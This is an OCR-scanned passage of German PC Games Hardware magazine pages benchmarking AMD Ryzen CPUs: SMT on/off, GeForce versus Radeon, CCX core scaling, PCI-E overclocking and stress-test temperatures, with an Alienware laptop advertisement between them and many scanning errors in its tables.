Precision Boost 


gene physische Register Files. Das 
sollte die potenzielle Auslastbarkeit 
der Out-of-Order-Rechenwerke deut- 
lich verbessern. Die FP-Einheit ist 
auf 128 Bit Vektorbreite ausgelegt, 
kann SSF4 und AVX in einem Rutsch 
verarbeiten, muss beim 256-bittigen 
AVX2 jedoch zwei Pipes zusammen- 
schalten - wie genau diese Auftei- 
lung vonstatten geht, wollte AMD bis 
Redaktionsschluss nicht verraten. 
Der, wenn überhaupt, wohl erst in 
einigen Jahren wichtiger werden- 
de AVX2-Durchsatz liegt damit pro 
Takt und Kern nur halb so hoch wie 
bei Intel, andere Ressourcen sind 
jedoch gleichwertig. In der Retire- 
ment Queue werden bis zu acht von 
72 Befehlen pro Takt wieder in die 
Reihenfolge zurücksortiert, in der 
sie die Out-of-Order-Execution-Re- 
chenwerke erreichten. 


+ 6 


XFR Pure Power 


XFR Boost, 4.1 


Max Precision Boost, 4.0 


AllCoresBoostFmax, 3.7 


Pure Power Reduces 
Clocks during low usage "~~~ 


2.2 | P2/Pmin 


Die SMT-Implementierung von 
AMD wirkt auf den ersten Blick der 
von Intel ziemlich ähnlich: Ein gro- 
ßes Out-of-Order-Fenster von 192 
Instruktionen liegt auf Haswell-/ 
Broadwell-Niveau (Sky- und Kaby 
Lake bieten 224) und damit 50 über 
demjenigen in Bulldozer/Excavator. 
Verschiedene Einheiten müssen 
sich die einzelnen Threads teilen - 
so zum Beispiel die Rename-Units, 
die TLBs oder die Load-Queue 
sowie natürlich die Ausführungs- 
einheiten selbst. Andere, wie die 
Mikro-Op-, Store- oder Retirement- 
Queue, werden statisch aufgeteilt. 
Wie so oft ist beim SMT zu beach- 
ten, dass dabei nicht gezaubert wird 
und ein zusätzlicher Thread nur in 
Leerlaufphasen eingeschoben wer- 
den kann. 


Takte, Turbos und Extended Frequency 
Range (XFR): Mit einer Vielzahl von On- 
Die-Sensoren wertet AMD zur Laufzeit 
Auslastung der Einheiten, Spannungs- 
versorgung und thermisches Budget 
aus. Sind alle Werte im grünen Bereich 
und liegt die Last nur auf maximal zwei 
Kernen, kann XFR auf den beworbenen 
4-GHz-Turbo des R7-1800X nochmal 
100 MHz (+2,5 96) draufpacken. Sind 
Temperatur oder Auslastung zu hoch, 
wird XFR nicht aktiv. Bei Last auf mehr 
als zwei Kernen tritt der All-Core-Turbo 
von 3,7 GHz in Erscheinung (42,796 
ggü. Basistakt), der bei zu hoher Last 
ebenfalls deaktiviert werden kann 

— im Test trat das aber nie auf. Im 
Ruhezustand geht der R7-1800X dann 
zunächst auf 3,2, im C-State-Betrieb 
auf minimal 2,2 GHz zurück. 


Skalierun 

Ryzen 7 1800X AC: Syndicate | Crysis 3 F12015 | FarCry4 | Witcher 3 3DM FS Phys. | Lightroom | Blender 2.76 | x264 MT | y-Cruncher | 
SMT an (8c/16t, 3,2 GHz) 94/101,9 118/135,9 73/88,5 60/70,6 96/104,3 | 16.941 Punkte 119 Sek. 163 Sek. 74 Sek. 121,9 Sek. | 
SMT aus (8c/8t, 3,2 GHz) 100/108,6 102/118,7 69/86,7 72/92,8 96/103,7 | 13.485 Punkte 112 Sek. 240 Sek. 86 Sek. 133,3 Sek. | 
ЅМТ ап vs. aus (Gewinn) -6/-6 % +16/+15 % +5/+2% | -17/-24% | +0/+1 96 +26 % +6 % -33 % -14 96 -9 96 | 
2х DDR4-2400 DR, Stromsparmodi/C-States aus. Angaben їп Мїп./@-Ер bei Spielen, Punkten їп 3DMark, Sekunden (mehr ist schlechter!) bei Lightroom, Blender, x264 und y-Cruncher. | 


Ryzen 7 pro Megahertz: Vergleich тії Kaby Lake, Broadwell und Piledriver 


Alle CPUs @ 3,2 GHz fix | AC: Syndicate Crysis 3 F1 2015 | FarCry4 | Witcher 3 | 3DM FS Phys. Lightroom | Blender 2.76 | x264 MT | y-Cruncher 
Ryzen 7 1800X (8c/16t) 94/101,9 118/135,9 73/88,5 60/70,6 96/104,3 | 16.941 Punkte | 119 Sek. 163 Sek. 74 Sek. 121,9 Sek. 
Core i7-6900K (8c/16t) 125/136,2 144/165,9 104/128,3 64/86,2 125/131,3 | 22.981 Punkte | 105 Sek. 155 Sek. 71 Sek. 82,4 Sek. 
Ryzen 7 vs. i7-6900K -18/-20 % -19/-19 96 -30/-31 96 | -6/-18 % | -23/-21 96 -11 96 +13 96 +5 96 -4 96 +48 96 
Kaby Lake (i7-7700K, 4c/8t) 104/112,4 98/112,3 65/82,3 84/102,5 | 104/109,9 | 10.533 Punkte | 153 Sek. 276 Sek. 126 Sek. 127,5 Sek. 
Piledriver (FX-8370, 4m/8t) 60/67,0 58/70,4 41/50 43/60,1 62/66,3 6.364 Punkte 198 Sek. 588 Sek. 211 Sek. 325,5 Sek. 
2x/4x DDR4-2400/DDR3-1866 DR, Stromsparmodi/C-States aus. Angaben in Min./O-Fps bei Spielen, Sekunden (mehr ist schlechter!) bei Lightroom/Blender/x264/y-Cruncher. 
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ANZEIGE 


Schau mir in die Augen 


Entwickelt für VR, ist das neue Alienware 17 R4 voll kompatibel mit Oculus- und Vive-Brillen. 


Aber auch der Eye Tracker bietet eine neue revolutionàre Art des PC-Gamings. 


it einer leistungsfähigen 

Geforce-Grafik hat das Alien- 
ware 17 die Nvidia-VRWorks-Tech- 
nologie mit an Bord, die eine ein- 
zigartige virtuelle Realität auf die 
VR-Brille zaubert. Aber auch ohne 
Brille überzeugt das Alienware 17: 
Es ist eines der wenigen Modelle, 
die ein Display bis zur 4K-Auflö- 
sung präsentieren. Alternativ sind 
Full HD und WQHD bis 120 Hz 
erhältlich. Damit werden selbst hit- 
zige Shooter stets gestochen scharf 


dargestellt. Die G-Sync-Technologie 
eliminiert zudem restlos jegliche 
Bildrisse in Bewegungen. 


Mit der Tobii-Augensteuerung 
können Sie in einigen aktuellen 
Spielen dorthin zielen, wohin sie 
sehen, oder geben per Blick an- 
dere schnelle Befehle. Außerdem 
erkennt die smarte Technik, ob Sie 
vor dem Notebook sitzen, und re- 
guliert etwa Stromverbrauch oder 
Helligkeit automatisch. 


Die TactX-Tastatur ist mit einer Stahlplatte verstärkt und verkraftet bis zu 10 Millio- 
nen Anschläge. Der Hub über 2,2 mm ermöglicht stets eine schnelle Reaktion. 


Wie von Dell gewohnt, sind alle 
Komponenten des Alienware 17 
frei konfigurierbar. Dabei kommt 
stets eine aktuelle Intel-i7-CPU 
zum Einsatz, die etwa mit einer 
Geforce GTX 1080 kombiniert wer- 
den kann. Somit ist das kraftvolle 
Gespann bestens gerüstet für ak- 
tuelle Spiele in 4K-Auflösung. Aber 
nicht nur die Rechenchips erfüllen 
höchste Ansprüche der Gamer: Der 
Killer-Chip priorisiert im Netzwerk 
die Datenströme für Spiele. Ein 
SSD-Laufwerk verkürzt nicht nur 
Ladezeiten, sondern ist auch leiser 
und weniger stoßanfällig als eine 
Magnetfestplatte. Der USB-Typ-C- 
Anschluss bietet Thunderbolt 3, 
das nicht nur mit bis zu 40 Gbit 
die achtfache USB-3.0-Geschwin- 
digkeit schafft, sondern auch als 
Displayport-Ausgang dient. Außer- 
dem unterstützt das Notebook den 
Alienware-Grafikverstärker, mit 
dem eine herkömmliche Dekstop- 
Grafikkarte angeschlossen werden 
kann. 


Das Gehäuse überzeugt nicht nur 
mit der Optik. Die durchdachte 
Kühlung leitet die Wärme nach 
hinten ab, damit die Oberfläche 
nicht zu warm wird. Trotz High- 
End-Hardware ist das Alienware 17 
nur 3 cm dünn und damit deutlich 
schlanker als andere Topmodelle in 
der Leistungsklasse. 


Die AlienFX-RGB-Beleuchtung ist 
frei einstellbar. Tastatur, Touch- 
pad und Kanten sowie andere 
beleuchtete Elemente machen 
das Alienware 17 auch optisch 
individuell. 
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Radeon vs. Geforce, Kernskalierung und mehr 


CPU 


Auslastung in % über 30 Sekunden 


AMD Ryzen 7 1700X Eight-Core Processor 
100% 


PCI-Express-Overclocking via Referenztakt 


Mafia 3, 720p, kein AA/AF/AO, Rest maximal - ,,Swamp” 
105 MHz Referenztakt = 105 MHz PCI-E aü 102,8 (+2 96) 
100 MHz Referenztakt = 100 MHz PCI-E Ego ШЕШ 101,2 (Basis) 

F1 2016, 720p, kein AA/AF/AO, Rest maximal - , Catalunya" 
105 MHz Referenztakt = 105 MHz PCI-E aR 97,1 (+2 96) 
100 MHz Referenztakt = 100 MHz PCI-E |n 94,9 (Basis) 

GTA 5, 720p, kein AA/AF/AO, Rest maximal – ,,Grapeseed" 


105 MHz Referenztakt = 105 MHz PCI-E Esp 66,3 (+1 96) 
100 MHz Referenztakt = 100 MHz PCI-E EX US E 65,8 (Basis) 


System: GTX 1080 Ti FE @ 2,0/6,0 GHz, Ryzen R7 1700 (3,0 GHz), Asus X370 C6H, 2 x 
8 GiB DDR4-2666/-2520 (1T), Windows 10 x64, Gef. 378.92 WHQL Bemerkungen: Die 
um fünf Prozent erhóhte Transferrate mündet in ein bis zwei Prozent hóheren Fps. 


Mimil @ Fps 


> Besser 


100 MHz PCI-E-Takt 
AIDA64 GPGPU Benchmark 


GPU 


Driver 


nit Ridge) 


24-bit Integer IOPS 4636 GIOPS 

2-bit Integer IOPS 4634 GIOPS 
64-bit Integer IOPS 762.3 GIOPS 
AES-256 37514 MB/s 
SHA-1 Hash 60787 MB/s 


Single-Precision Julia 2664 FPS 


Double-Precision Mandel 143.2 FPS 


105 MHz PCI-E-Takt 
AIDA64 GPGPU Benchmark 


Memory Write 


Single-Precisi 


Double-Precision FLOPS 


24-bit Integer IOPS 


32-bit Integer IOPS 


64-bit Integer IOPS 


AES-256 


SHA-1 Hash 


Single-Precision Julia 


ouble-Precision Мапе 


Wird der PCI-Express-Durchsatz erhöht, macht sich das am deutlichsten im GPGPU- 
Benchmark von AIDA64 unter „Memory Read" und „Memory Write" bemerkbar. 
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ie Kinderkrankheiten, unter 

denen AMDs Ryzen in den 
ersten Wochen litt, nährten zahl- 
reiche Spekulationen. Windows- 
Updates sollten das Scheduling 
des Betriebssystems und somit 
die Prozessornutzung verbessern, 
UEFLÜberarbeitungen ebenfalls. 
Außerdem wurde das Gerücht in 
die Welt gesetzt, dass die Geforce- 
Grafikkarten, welche in beinahe 
jedem Ryzen-Test verwendet wur- 
den, die Achtkerner schlechter aus- 
lasten, als es eine Radeon könnte. 
Tatsächlich erschienen im Laufe 
des März zahlreiche UEFI-Updates 
der Mainboard-Hersteller, die Feh- 
ler beheben oder neue Funktionen 
implementieren. Auch Windows 10 
bekam im Rahmen des verspäteten 
Patch Day neuen Code spendiert, 
der so manches Ryzen-System in 
vereinzelten Tests beschleunigte 
- Letzteres konnten wir an unse- 
ren Testrechnern bislang nicht be- 
stätigen. 


Radeon gegen Geforce 

Die Behauptung, eine Radeon kön- 
ne die Ressourcen des Ryzen aus 
eigenem Hause besser verwalten 
als die Geforce-Konkurrenz, hat 
sich für eine genaue Analyse qua- 
lifiziert, da sie nicht unrealistisch - 
wenn auch unwahrscheinlich - ist. 
Wir haben 20 Spiele diversen Alters 
und mit unterschiedlichen Engines 
auf demselben Ryzen-PC getestet, 
einmal mit einer Geforce GTX 1080 
Ti und einmal mit einer Radeon R9 
Fury X. Es handelt sich um die je- 
weiligen Grafikkarten-Topmodelle 
von Nvidia und AMD, wobei die Ra- 
deon aufgrund ihres fortgeschrit- 
tenen Alters in Spielen wesentlich 
langsamer rendert als die GTX 
1080 Ti - in gängigen Auflösungen 
sowie mit Anti-Aliasing (AA) und 
anisotroper Filterung (AF). 


Da bei dieser Messreihe die Prozes- 
sorressourcen-Nutzung im Fokus 
steht, testen wir - wie bei den stan- 
dardisierten PCGH-CPU-Tests auch 
- mit möglichst geringer Pixellast. 
Diese erreichen wir mithilfe der 
Auflösung von 1.280 x 720, des 
Verzichts auf AA, AF und Ambient 
Occlusion (AO) sowie weiterer 
Nachbearbeitungseffekte.  Zusät- 
zich übertakten wir die Grafikkar- 


ten bis an das stabile Limit. Dieses 
liegt bei rund 2.000/6.000 MHz 
(GPU/RAM) für die GTX 1080 Ti 
und 1.150/1.100 MHz für die Fury X. 
Im Falle der AMD-Karte genügt das 
noch nicht, um aus dem GPU-Limit 
herauszutreten (u. a. in Ghost Re- 
con: Wildlands und Battlefield 1), 
weshalb wir hier Gebrauch von der 
spielinternen Skalierung machen 
und die interne Render-Auflösung 
auf 75 Prozent setzen. Außerdem 
müssen wir die Texturauflösung 
um eine Stufe reduzieren, um die 
4 GiByte HBM nicht zu überfüllen. 


Die Messreihe (siehe rechts) soll 
zwei Fragen klären. Erstens: Wel- 
che Grafikkarte erreicht im (weit- 
gehenden) CPU-Limit die höchsten 
Bildraten, nutzt die Prozessorres- 
sourcen folglich am besten aus? 
Zweitens: Welche Auswirkungen 
hat SMT? Frage 1 fällt der Erwar- 
tung entsprechend aus: Die schnel- 
lere Grafikkarte, in diesem Fall die 
GTX 1080 Ti, erzielt die höheren 
Bildraten. Interessant ist, dass dies 
nur 18 der 20 getesteten Spiele be- 
trifft. In Rise of the Tomb Raider 
und Hitman - beides von AMD im 
Rahmen des „Gaming Evolved"-Pro- 
gramms betreute Spiele -, die wir 
unter Direct X 12 testen, kann sich 
die Fury X vor Nvidias Geforce- 
Flaggschiff setzen. Die Ursache 
dieses Phänomens ließ sich bis Re- 
daktionsschluss nicht zweifelsfrei 
identifizieren. 


Was SMT angeht, ist die Lage nicht 
eindeutig, doch mit einer klaren 
Tendenz versehen: Während die 
Funktion beim Rendern von Videos 
oder Packen von Archiven zu mess- 
bar besseren Ergebnissen führt, 
kostet sie in den meisten Spielen 
Leistung. Das betrifft sowohl Rade- 
on- als auch Geforce-Grafikkarten, 
wobei die Bilanz bei Nvidia mini- 
mal besser aussieht: Kostet SMT bei 
AMD in 15 Spielen zwischen 0,5 
und 13,7 Prozent Fps, senkt SMT 
die Nvidia-Bildrate „nur“ in 10 Spie- 
len, hier aber heftiger (0,6 bis 22,9 
Prozent). Der Einbruch entschei- 
det in unseren Tests niemals zwi- 
schen spielbar und ruckelig, Jäger 
des letzten Fps sollten SMT jedoch 
im Zweifel abschalten oder für ihre 
Lieblingsspiele austesten. 
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20 Spiele im Thread-Test: Geforce GTX 1080 Ti 20 Spiele im Thread-Test: Radeon R9 Fury X 
Spiel (API) 8 Kerne, 8 Kerne, Differenz 1 Spiel (API) 8 Kerne, 1 8 Kerne, 8 Differenz 
16 Threads 8 Threads vs. 8T (avg.) Threads Threads vs. 8T (avi 


Rise of the Tomb Raider (DX12) Rise of the Tomb Raider (DX12) | 74967 | 73085 | 1 | 
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Bemerkungen: Angaben in Fps (Min./Avg.); Ryzen R7 1700 (3,0 GHz) auf Asus Crosshair VI Bemerkungen: Angaben in Fps (Min./Avg.); Ryzen R7 1700 (3,0 GHz) auf Asus Crosshair VI 
Hero plus Nvidia Geforce GTX 1080 Ti @ ~2.000/6.000 MHz (1.280 x 720 Pixel). Hero plus AMD Radeon R9 Fury X @ 1.150/1.100 MHz (1.280 x 720 Pixel). 
In vielen Spielen resultiert SMT in einem Fps-Malus, vor allem in Ubisofts For Honor. In den meisten Spielen resultiert SMT in einem Fps-Malus. 
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My Favorites Main Extreme Tweaker 


<- Advanced\AMD CBS\Zen Common Options 


RedirectForReturnDis 

L2 TLB Associativity 

Platform First Error Handling 
Core Performance Boost 
Downcore control 

Enable IBS 

Global C-state Control 
Instruction Branch Prediction 


> Custom Core Pstates 


Monitor Boot 


[ Auto 
[ Auto 


[ Auto 


[ Disable 


Auto 


TWO (1 + 1) 
| TWO (2 + 0) 
| THREE (3 + 0) 
FOUR (2 + 2) 
FOUR (4 + 0) 
SIX (3 + 3) 
Auto 


Tool 


In einigen UEFI-Menüs (im Bild: Asus Crosshair VI Hero) dürfen Sie die CPU-Kern- 
Konfiguration selbst bestimmen - praktisch, zumindest für Geeks. 


= 3D-Einstellungen verwalten 


Die folgenden 3D-Einstellungen sollen verwendet werden: 


Globale Einstellungen Programmeinstellungen 


Einstellungen: 


Standardwerte wiederherstellen 


Kernabsprache 

Dass mehr Kerne eine hóhere po- 
tenzielle Leistung erzielen und die 
Ryzen 7 somit optimal aufgestellt 
sind, ist kein Geheimnis. Bei diesen 
Prozessoren sind stets zwei soge- 
nannte CPU Complexes (CCX) ak- 
tiv, von denen jeder einzelne über 
vier Kerne, deren L1- und L2-Cache 
sowie einen gemeinsam nutzbaren, 
8 MiByte grofsen Level-3-Cache ver- 
fügt. Im Falle der Achtkerner findet 
ergo eine Kommunikation von 4+4 
Kernen statt; den Datenpfad für 
die Inter-CCX-Kommunikation - 
ein potenzielles Nadelöhr - nennt 
AMD „Infinity Fabric“. 


Möchte AMD Sechskerner anbie- 
ten, führt ebenfalls kein Weg am 
Fabric vorbei. Eine 3+3-Konfigura- 
tion mit zwei CCX, welche je drei 
aktive Kerne sowie jeweils die vol- 
len 8 MiByte L3-Cache beisteuern, 
hat AMD bereits bestätigt. Bei den 
Vierkernern eröffnen sich zwei Op- 


Wir haben all diese Konfiguratio- 
nen anhand eines Ryzen 7 simu- 
liert - die reichhaltigen Optionen 
moderner UEFIs machen’s möglich 
(siehe Bild links). Die Ergebnisse in 
unseren Testspielen aktuellen Da- 
tums sind aufschlussreich: In sechs 
der sieben Titel ist die 4+0-Konfigu- 
ration schneller als das 2+2-Setup. 
Sechs Verläufe sehen Sie auf der 
nächsten Seite. Nicht abgedruckt: 
F1 2016, in dem die 4+0-Aufstel- 
lung um drei Prozent höhere Bild- 
raten liefert als das 2+2-Pendant. 


PCI-Expressionismus 

Bei wenigen höherpreisigen Main- 
boards, darunter das von uns für 
viele Benchmarks genutzte Asus 
X370 Crosshair VI Hero, lässt sich 
der Referenztakt im UEFI erhöhen. 
An diesen ist unter anderem die 
Frequenz des PCI-Express gekop- 
pelt, sodass ein erhöhter Referenz- 
takt automatisch den PCI-E-Durch- 
satz erhöht, was beispielsweise die 


Funktion Einstellung A ; т S К " К 

DSR - Faktoren Off tionen: 2*2 (zwei CCX) oder 4*0 Spieleleistung verbessern kann. 
DSR - Gláttung Aus (ein CCX). Ersteres ist wahrschein- Im Falle von Asus sind dem Spiel 
Dreifach-Puffer Aus 


lich und erlaubt jedem Kern, über jedoch enge Grenzen gesetzt: 
Übersteigt der Referenztakt exakt 


105,00 MHz, wechselt das Board 


Energieverwaltungsmodus Optimale Leistung 
Maximale Anzahl der vorgerenderten Einzel... Einstellung für 3D-Anwendungen verwenden 
Multi-Display/gemischte GPU-Beschleunigung Multi-Display-Leistungs-Modus 


reichlich L3-Cache zu verfügen. 
Die Frage ist jedoch, inwiefern der 


me BA ЕА geg Datenaustausch über das Fabricdie auf PCI-E-2.0-Geschwindigkeit - 
Texturfilterung — Anisotrope Abtastoptimie Aus Leistung ausbremst. Eine 4+0-Kon- das ist natürlich kontraproduktiv. 


Texturfilterung — Negativer LOD-Bias 
Texturfilterung — Qualität 
Texturfilterung — Trilineai 
Threaded-Optimierung 
Umgebungsverdeckung 

Vertikale Synchronisierung 
Vorgerenderte Virtual Reality-Einzelbilder 


Zulassen 
Hohe Qualität 


)ptimierung Fir 


figuration wäre dann schneller. 


( Wir haben uns angesehen, ob die 


Y I 4+4 (2 CCX): Alle Ryzen 7 
1343 (2 CCX): Konfiguration aller 
E Ryzen 5 mit sechs Kernen 
I 2+2 (2 CCX): Voraussichtlicher 
Aufbau der Ryzen 5 mit vier Kernen 
I 4+0 (1 CCX): Alternative Kon- 
stellation eines Ryzen 5 ohne 
CCX-Datenaustausch 


um genau fünf Prozent steigerbare 
PCI-Express-Transferrate in höhe- 
rer Leistung mündet. Der syntheti- 
sche GPGPU-Test des Programms 
AIDA64 bescheinigt die Wirksam- 
keit des Tunings, die Durchsatz- 
werte steigen um circa 500 MByte 


*3 Wiederherstellen 


Leiden Ihre Spiele mit einem Ryzen nebst Geforce unter Frame-Drops — DOTA ist laut 


Berichten im Internet betroffen —, deaktivieren Sie diese Optimierung im Treiber. pro Sekunde. (ru) 


2-Minuten-Fahrt in der gigantischen Welt von GTA 5: Ryzen 7 Standard vs. Ryzen 7 optimiert 


Grand Theft Auto 5, Details siehe Legende - „Grapeseed XT " (120 Sekunden) 
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30 30 
= = = Standard: СРО © 3,0 GHz, DDR4-2400, WQHD + 4х MSAA/16:1 AF = 42154,8 Fps min./avg. 
20 == Standard: CPU @ 3,0 GHz, DDR4-2400, 720p ohne AA/AF/AO — 42155,8 Fps min./avg. 20 
= = = Optimiert: CPU @ 3,9 GHz, DDR4-2800, 105 MHz PCI-E, WQHD + 4x MSAA/16:1 AF – 49/62,9 Fps min./avg. 
10 — Optimiert: CPU @ 3,9 GHz, DDR4-2800, 105 MHz PCI-E, 720p ohne AA/AF/AO —51/67,6 Fps min./avg. 10 
0 0 
0 10 20 30 40 50 60 70 80 90 100 110 120 


Zeit in Sekunden 


System: AMD Ryzen R7 1700, Asus X370 Crosshair VI Hero, 2 x 8 GiByte DDR4 (1T), Nvidia Geforce GTX 1080 Ti FE (freier Boost); Windows 10 x64 (1607) Bemerkungen: Mit 3,0 GHz Kerntakt limitiert der R7 1700 das Ge- 
schehen fast immer, sogar in 1440p inklusive 4x MSAA — die GTX 1080 Ti ist der Last gewachsen. Erst im optimierten Zustand liefert die Infrastruktur so viel Leistung, dass sich große Unterschiede zwischen den Auflösungen auftun. 


24 PC Games Hardware | 05/17 www.pcgameshardware.de 


Ryzen: SMT an/aus, Geforce vs. Radeon | SPECIAL 


Ryzen-Kernskalierung in Battlefield 1 


Ryzen-Kernskalierung in For Honor 


Battlefield 1, kein AA/AF/Post-Processing, Rest maximal, 720p - , Gallipoli" 


220 
200 
180 ж, 
° an. -.  — $, 9—8 
160 apa Zëss WW 7 
140 | È — RR -a 25. 
e =. U i 
120 ad Be рават zu dl 
м U^ а-а „с 
2 “ж” 
ы 100 
80 
60 * 8 Cores (4+4) 166,9 Fps avg. 
O 6 Cores (3+3) 157,6 Fps avg. 
40 A 4 Cores (2+2) 122,0 Fps avg. 
20 lB 4 Cores (4+0) 134,9 Fps avg. 
0 


1 2 3 4 5 6 7 8 91011 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


For Honor, kein AA/AF/AO, Rest maximal, 720p - „Road to Valkenheim" 
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80 
* 8 Cores (444) 204,7 Fps avg. 
O 6 Cores (3+3) 180,3 Fps avg. 
40 А 4 Cores (2+2) 149,6 Fps avg. 
lB 4 Cores (4+0) 155,5 Fps avg. 
0 


1 2 3 4 5 6 7 8 91011 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


System: AMD Ryzen R7 1700 (3,0 GHz, fixiert), Asus X370 Crosshair VI Hero, 2 x 8 GiByte DDR4-2400 (1T), 
Nvidia Geforce GTX 1080 Ti FE @ 2.000/6.000 MHz; Windows 10 x64 Bemerkungen: Die Vierkern-Konfigu- 
ration, welche auf CCX-Datentransfers verzichtet (4+0), ist eindeutig schneller als die 2+2-Einstellung. 


System: AMD Ryzen R7 1700 (3,0 GHz, fixiert), Asus X370 Crosshair VI Hero, 2 x 8 GiByte DDR4-2400 (1T), 
Nvidia Geforce GTX 1080 Ti FE @ 2.000/6.000 MHz; Windows 10 x64 Bemerkungen: For Honor skaliert 
vorbildlich mit den zur Verfügung stehenden Kernen. 4+0 (1 CCX) ist schneller als 2--2 (2 CCX). 


Kernskalierung in Rise of the Tomb Raider 


Ryzen-Kernskalierung in Watch Dogs 2 


Rise of the Tomb Raider, kein AA/AF/PP, Rest maximal, 720p - „Geo Valley" 
140 


* 8 Cores (4+4) 85,4 Fps avg. 
120 O 6 Cores (3+3) 72,8 Fps avg. 
А 4 Cores (2+2) 53,1 Fps avg. 
100 lB 4 Cores (4+0) 57,4 Fps avg. 
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Zeit їп Sekunden 


Watch Dogs 2, kein AA/AF/Post-Processing, Rest maximal, 720p - ,,Frisco” 
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* 8 Cores (4+4) 51,1 Fps avg. 


20 O 6 Cores (3+3) 49,2 Fps avg. 

А 4 Cores (2+2) 41,7 Fps avg. 

10 lB 4 Cores (4+0) 42,2 Fps avg. 
0 


1 2 3 4 5 6 7 8 910 11 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


System: AMD Ryzen R7 1700 (3,0 GHz, fixiert), Asus X370 Crosshair VI Hero, 2 х 8 GiByte DDR4-2400 (1T), 
Nvidia Geforce GTX 1080 Ti FE & 2.000/6.000 MHz; Windows 10 x64 Bemerkungen: Der Unterschied 
zwischen der 4--0-Konfiguration und dem scheinbar gleichwertigen 2--2-Vierkerner ist fühlbar. 


System: AMD Ryzen R7 1700 (3,0 GHz, fixiert), Asus X370 Crosshair VI Hero, 2 x 8 GiByte DDR4-2400 (1T), 
Nvidia Geforce GTX 1080 Ti FE @ 2.000/6.000 MHz; Windows 10 x64 Bemerkungen: Egal ob 4+0 oder 
2+2, mit vier Ryzen-Kernen fällt die Bildrate unter die 30er-Marke — 6 oder 8 Kerne können das verhindern. 


Ryzen-Kernskalierung in GTA 5 


Kernskalierung in Ghost Recon: Wildlands 


GTA 5, kein AA/AF/Post-Processing, Rest maximal, 720p - „Grapeseed” 
100 
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60 
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Fps 


40 


30 * 8 Cores 
O 6 Cores 
20 А 4 Cores 
E 4 Cores 


(4+4) 65,9 Fps avg. 
3+3) 64,4 Fps avg. 
2+2) 60,1 Fps avg. 


(4+0) 60,3 Fps ауд. 


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


Ghost Recon: Wildlands, kein AA/AF/PP, Rest maximal, 720p - „Wild Ride” 
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30 * 8 Cores (4+4) 75,8 Fps avg. 
O 6 Cores (3+3) 69,8 Fps avg. 
20 A 4 Cores (2+2) 55,9 Fps avg. 
ib lB 4 Cores (4+0) 55,4 Fps avg. 
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12 3.456 7 8 9 1011 12 13 14 15 16 17 18 19 20 
Zeit in Sekunden 


System: AMD Ryzen R7 1700 (3,0 GHz, fixiert), Asus X370 Crosshair VI Hero, 2 x 8 GiByte DDR4-2400 (1T), 
Nvidia Geforce GTX 1080 Ti FE @ 2.000/6.000 MHz; Windows 10 x64 Bemerkungen: СТА 5 ist mit vier 
Kernen weitgehend gesättigt, außerdem tendiert der Unterschied zwischen 2+2 und 4+0 gegen null. 


System: AMD Ryzen R7 1700 (3,0 GHz, fixiert), Asus X370 Crosshair VI Hero, 2 x 8 GiByte DDR4-2400 (1T), 
Nvidia Geforce GTX 1080 Ti FE @ 2.000/6.000 MHz; Windows 10 x64 Bemerkungen: Als einziges Spiel im 
Testparcours läuft hier das 2+2-Setting besser als die 4--0-Einstellung; das Spiel profitiert ergo vom L3-Cache. 
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Ryzen: RAM-Einfluss und Overclocking 


Stresstests: Hitzeentwicklung 


Maximale Kerntemperatur (Hwinfo64 v5.46) - 

Y-Cruncher v0.7.2.9468 (N64) 

Linx v0.6.5 (Linpack 11.13) EX 570 

Prime95 v28.10 (8K) EX 56,5 

Y-Cruncher v0.7.2.9468 (НМТ) XU 56,5 

Y-Cruncher v0.7.2.9468 (VST) sn 
Prime95 v28.10 (1344K) a V. 1 

Cinebench R15 (CPU) EX 50,3 


inkl. Korrekturwert -20 Kelvin 
60,0 


System: Ryzen 7 1700X @ 3.700 MHz/1,200 Volt, Scythe Rasetsu, Gigabyte GA-AX370- 
Gaming 5 (BIOS F5c), 2 x 8 GiByte DDR4-2400 (18-17-17-39 2T), Zotac Geforce GT 640; 
Win 10 64 Bit Bemerkungen: Unsere Temperaturwerte sind berichtigt — siehe Fließtext. 


Grad Celsius 
» Besser 


Stresstests: Leistungsaufnahme 


) 

Y-Cruncher v0.7.2.9468 (НМТ) Eu 168 

Y-Cruncher v0.7.2.9468 (VST) s 

Y-Cruncher v0.7.2.9468 (N64) Eu 167 
Prime95 v28.10 (1344K) EX 165 
Cinebench R15 (CPU) e 163 
Prime95 v28.10 (8K) EX 162 


Maximale CPU Package Power (Hwinfo64 v5.46) 


Y-Cruncher v0.7.2.9468 (N64) ww 

Y-Cruncher v0.7.2.9468 (HNT) шии; 
Cinebench R15 (CPU) 85 

Y-Cruncher v0.7.2.9468 (VST) oo 


Maximale Leistungsaufnahme des PCs (Christ CLM 1000 Professional +) 
Linx v0.6.5 (Linpack 11.13) [Xu 182 


Linx v0.6.5 (Linpack 11.13) aaa 106,8 
Prime95 v28.10 (SK) maaa 105,0 
Prime95 v28.10 (1344K) aaa 103,6 


System: Ryzen 7 1700X @ 3.700 MHz/1,200 Volt, Scythe Rasetsu, Gigabyte GA-AX370- 
Gaming 5 (BIOS F5c), 2 x 8 GiByte DDR4-2400 (18-17-17-39 2T), Zotac Geforce GT 640; 
Win 10 64 Bit Bemerkungen: Nur Linx setzt sich bei der Leistungsaufnahme klar ab. 


Watt 
> Besser 


yzen ist stark in Anwendungen, 

in Spielen haben die schnells- 
ten Intel-Chips aber noch einen 
Vorsprung. Durch Overclocking 
und gut gewählten Arbeitsspeicher 
lässt sich der Rückstand verkürzen 
- wir erläutern, was dabei zu be- 
achten ist. 


Overclocking-Grundlagen 

Alle Ryzen-Prozessoren verfügen 
über einen nach oben offenen Mul- 
tiplikator für den Kerntakt, was das 
Übertakten sehr einfach macht: 
Schrittweises Anheben und Austes- 
ten der Stabilität sollten Sie solange 
durchführen, bis Sie Probleme be- 
merken. Der Kerntakt lässt sich in 
feinen 25-MHz-Schritten anheben. 
Wenn Sie zum groben Ausloten 
der Overclocking-Reserven nicht 
zuviel Zeit investieren möchten, 
empfehlen wir 50-MHz-Schritte 
und einen Kurztest wie Cinebench. 
Kommt es zu einem Crash oder 
Fehlermeldungen, ist eine Erhö- 
hung der Kernspannung angesagt. 
Wir empfehlen maximal eine Anhe- 
bung um 0,05 Volt in einem Schritt, 
damit Sie die Auswirkung auf das 
OC-Potenzial und die Temperatur- 
entwicklung leicht nachvollziehen 
können. Die maximale Kernspan- 
nung hängt grundsätzlich von Ihrer 
Bereitschaft ab, ein höheres Defekt- 
